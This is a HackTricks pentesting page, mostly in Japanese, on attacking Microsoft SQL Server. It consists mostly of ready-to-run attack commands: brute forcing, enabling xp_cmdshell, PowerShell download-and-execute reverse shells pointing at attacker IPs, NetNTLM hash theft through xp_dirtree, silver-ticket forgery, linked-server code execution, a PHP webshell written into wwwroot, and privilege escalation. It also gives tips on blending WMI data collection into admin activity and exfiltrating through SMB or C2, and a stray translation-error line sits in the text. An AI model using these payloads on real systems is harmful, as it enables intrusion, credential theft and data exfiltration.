1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

基本情報

wikipediaより:

Microsoft SQL Server は、Microsoft によって開発された relational database management system です。database server として、他の software applications から要求されたデータを保存および取得することを主な機能とする software product です。これらの applications は、同じ computer 上でも、network(Internet を含む)越しの別の computer 上でも動作できます。

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Managed Database-as-a-Service (DBaaS) に着地する

「ホストを所有する」ことに依存するすべてのもの(例: privilege escalation、lateral movement、OS command execution)は、DBaaS では存在しなくなります。これらの環境での pentesting は、application-layer exploitation、SQL logic による data exfiltration、misconfigured IAM roles、または不十分な network/VPC 設計へと切り替える必要があります。たとえば、Amazon RDS documentation では、xp_cmdshellTRUSTWORTHY データベースプロパティはサポートされていないと明記されています。

Warning

データベース endpoint を得られるのであって、server を得られるわけではありません。cloud provider が host OS、database engine binaries、そして多くの security policies を管理します。

Default MS-SQL System Tables

  • master Database: この database は、SQL Server インスタンスのすべての system-level details を記録するため重要です。
  • msdb Database: SQL Server Agent は、この database を使って alerts と jobs の scheduling を管理します。
  • model Database: SQL Server インスタンス上の新しい database すべての blueprint として機能し、サイズ、collation、recovery model などの変更は、新しく作成された database に反映されます。
  • Resource Database: SQL Server に付属する system objects を格納する read-only database です。これらの objects は物理的には Resource database に保存されますが、論理的にはすべての database の sys schema に表示されます。
  • tempdb Database: 一時的な objects や中間 result sets のための temporary storage area として機能します。

Enumeration

Automatic Enumeration

サービスについて何も知らない場合:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

もし認証情報がない場合は、推測を試せます。nmap や metasploit を使えます。注意してください。既存のユーザー名で何度もログインに失敗すると、アカウントがロックされる可能性があります。

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

RID Brute Force によるユーザー列挙

MSSQL を使って RID(Relative Identifiers)を brute-force することで、ドメインユーザーを列挙できます。この手法は、有効な認証情報はあるが権限が限られている場合に有用です:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

{“error”:“No content provided to translate.”}

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

  • --local-auth: ドメインではなくローカル認証を使用
  • --rid-brute <max_rid>: 指定された番号までRIDsをブルートフォースする (default: 4000)
  • -u: Username
  • -p: Password

This technique will enumerate users by querying the MSSQL server for account information associated with sequential RIDs.

Manual Enumeration

Login

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

一般的なEnumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

ユーザー取得

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

権限の取得

  1. Securable: SQL Server がアクセス制御のために管理するリソースとして定義されます。これらは以下に分類されます。
  • Server – 例として、databases, logins, endpoints, availability groups, server roles が含まれます。
  • Database – 例として、database role, application roles, schema, certificates, full text catalogs, users が含まれます。
  • Schema – tables, views, procedures, functions, synonyms などが含まれます。
  1. Permission: SQL Server securables に関連付けられ、ALTER, CONTROL, CREATE などの permission を principal に付与できます。permission の管理は 2 つのレベルで行われます。
  • Server Level logins を使用
  • Database Level users を使用
  1. Principal: この用語は、securable に対する permission を付与されるエンティティを指します。Principals には主に logins と database users が含まれます。securables へのアクセス制御は、permission の付与または拒否、あるいはアクセス権を持つ roles に logins と users を含めることで行われます。
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

Execute OS Commands

Caution

コマンドを実行できるようにするには、xp_cmdshellenabled されているだけでなく、xp_cmdshell stored procedure に対する EXECUTE permission も必要であることに注意してください。 xp_cmdshell を使えるユーザー(sysadmins を除く)は次のようにして確認できます:

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-based remote SQL collection (sqlcmd + CSV export)

オペレーターは、WMIを使用して小さなバッチを実行し、MSSQLに認証してad-hocクエリを実行し、結果をCSVにエクスポートすることで、IIS/app tierからSQL Serversへpivotできます。これにより、収集はシンプルに保たれ、管理者の活動に紛れ込みます。

Example mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

WMIでリモートから実行する

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShellの代替手段

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Notes

  • sqlcmd がない場合がある; そのときは osql, PowerShell Invoke-Sqlcmd, または System.Data.SqlClient を使った one‑liner に切り替える。
  • クォートは慎重に扱う; 長い/複雑なクエリは、ファイル経由か Base64‑encoded 引数として渡し、batch/PowerShell stub 内で decode するほうが簡単。
  • CSV は SMB 経由で exfil する(例: \SQLHOST\C$\Windows\Temp から copy)か、compress して C2 経由で move する。

Get hashed passwords

SELECT * FROM master.sys.syslogins;

NetNTLMハッシュを盗む / Relay attack

認証で使われるハッシュを取得するために SMB server を起動してください (impacket-smbserver または responder など)。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

who(sysadmins以外)がこれらのMSSQL関数を実行する権限を持っているかは、以下で確認できます:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

responderInveigh などのツールを使うと、NetNTLM hash を盗むことが可能です。
これらのツールの使い方は以下で確認できます:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

NetNTLMv2 capture から MSSQL silver ticket へ (PAC group injection)

  • xp_dirtree '\\\\<attacker_ip>\\share' と Responder を使って SQL Server service account の NetNTLMv2 を取得する (Hashcat mode 5600 で crack する)。
  • 復元した password から service NTLM hash を導出する:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
  • SELECT SUSER_SID('DOMAIN\\Domain Users'); でドメイン SID のバイトを取得する(RID = 最後の 4 バイト、little endian)。nxc mssql ... --rid-brute で RID をマッピング/ブルートして、sysadmin を付与するグループを見つける(例: RID 1105)。
  • MSSQL SPN 用の silver ticket を、特権グループの RID を PAC に注入して forge する:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
  • 必要なら xp_cmdshell を有効化する; コマンドは、偽造された ticket を使って impersonating している場合でも、SQL Server service account として実行される。

この投稿を読んでください この機能の悪用方法の詳細は次を参照してください:

MSSQL AD Abuse

Linked-server の credential mapping -> remote sysadmin -> OS RCE

Linked servers は non-self login mapping (Local Login -> Remote Login) で設定できます。その場合、最初の SQL Server 上の権限の低い login は、割り当てられた remote principal として 2 つ目の SQL Server に対して query を実行できます。linked instance が 別の domain や forest にある場合でも、これは同じように機能します。

まず links とその mapping を列挙します:

EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';

その後、リモート側でどのアカウントになるか、そしてそれが sysadmin かどうかを確認してください:

EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];

マップされた remote login が sysadmin の場合、linked server は remote code execution primitive になります。なぜなら、遠隔側のインスタンスを再設定でき、OS コマンドを SQL Server service account として実行できるからです:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];

impacket-mssqlclient を使うと、同じ手順が通常はより速くなります:

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami

単一コマンド実行をインタラクティブなシェルにアップグレードするには、xp_cmdshell を通じて reverse shell を起動します:

xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443

Tip

xp_cmdshell が無効な場合、最初のエラーはしばしば sp_configure / RECONFIGURE が有効化の意図された手順であることを示します。また、Policy_Backup.infsecedit /export の出力)のようなエクスポートされたポリシーファイルも探してください。これらには、SQL host に到達した後の次の privilege-escalation ステップを選ぶのに役立つローカル権限割り当て(SeImpersonatePrivilegeSeDebugPrivilege、Kerberos skew、SMB signing、NTLM hardening)が含まれていることがあります。

Write Files

MSSQL を使ってファイルを書き込むには、Ole Automation Procedures を有効化する必要があります。これは admin privileges を要求し、その後、ファイルを作成するためにいくつかの stored procedures を実行します:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

OPENROWSETでファイルを読む

デフォルトでは、MSSQLアカウントが読み取り権限を持つオペレーティングシステム上の任意のファイルの読み取りを許可します。次のSQLクエリを使えます:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

ただし、BULK オプションには ADMINISTER BULK OPERATIONS または ADMINISTER DATABASE BULK OPERATIONS 権限が必要です。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

SQLi の error-based vector:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Read files executing scripts (Python and R)

MSSQL では Python および/または R の scripts を実行できる場合があります。これらの code は、xp_cmdshell で commands を実行するのに使われる user とは 別の user によって実行されます。

‘R’“Hellow World!” を実行しようとしても 動作しない 例:

設定済みの python を使って複数の actions を実行する例:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Registryの読み取り

Microsoft SQL Server は、ネットワークだけでなくファイルシステムや Windows Registry にもアクセスできる複数の拡張ストアドプロシージャを提供しています**:**

RegularInstance-Aware
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For more examples check out the original source.

MSSQL User Defined Function を使った RCE - SQLHttp

カスタム関数を使って MSSQL 内に .NET dll をロードすることが可能です。ただし、これは dbo アクセス が必要なので、データベースへの接続は sa または Administrator role が必要です。

Following this link to see an example.

autoadmin_task_agents を使った RCE

この投稿によると、リモート dll をロードして、次のような形で MSSQL にそれを実行させることも可能です:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

With:

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Other ways for RCE

コマンド実行を得る他の方法としては、extended stored proceduresCLR AssembliesSQL Server Agent Jobs、および external scripts を追加する方法がある。

MSSQL Privilege Escalation

From db_owner to sysadmin

通常ユーザーに、admin ユーザー(たとえば sa)が所有する database に対して db_owner ロールが付与され、その databasetrustworthy に設定されている場合、そのユーザーはこれらの権限を悪用して privesc できる。なぜなら、そこで作成された stored procedures は所有者(admin)として execute できるからである。

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

You can use a metasploit module:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

または PS スクリプト:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

他のユーザーの impersonation

SQL Server には、IMPERSONATE という特別な権限があり、実行中のユーザーが別のユーザーまたは login の権限を引き継ぐことを許可します。これは、コンテキストがリセットされるかセッションが終了するまで有効です。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

もしユーザーになりすますことができるなら、たとえそのユーザーがsysadminでなくても、そのユーザーがアクセス権を持つ他のデータベースやlinked serversを確認すべきです。

sysadminになった場合は、他の任意のユーザーになりすますことができます。

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

この攻撃は metasploit モジュールで実行できます:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

または PS スクリプトで:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

MSSQLを永続化に使用する

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

SQL Server Linked Servers からパスワードを抽出する

攻撃者は SQL Server Linked Servers のパスワードを SQL Instances から抽出し、平文で取得できます。これにより、攻撃者はターゲット上でより大きな足場を得るために使えるパスワードを入手できます。Linked Servers に保存されたパスワードを抽出して復号するスクリプトは here にあります。

この exploit が動作するには、いくつかの要件と設定が必要です。まず、マシン上の Administrator 権限、または SQL Server Configurations を管理できる権限が必要です。

権限を確認した後、次の3つを設定する必要があります。

  1. SQL Server instances で TCP/IP を有効化する;
  2. Start Up パラメータを追加する。この場合、trace flag として -T7806 を追加する。
  3. remote admin connection を有効化する。

これらの設定を自動化するには、this repository に必要なスクリプトがあります。各設定ステップ用の powershell スクリプトに加えて、設定スクリプトとパスワードの抽出・復号をまとめた完全なスクリプトもあります。

この攻撃に関する詳細は、次のリンクを参照してください: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

MSSQL server を実行しているユーザーには、特権トークン SeImpersonatePrivilege. が有効になっています。
次の2つのページのどちらかに従えば、おそらく Administrator へ権限昇格 できます:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

References

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート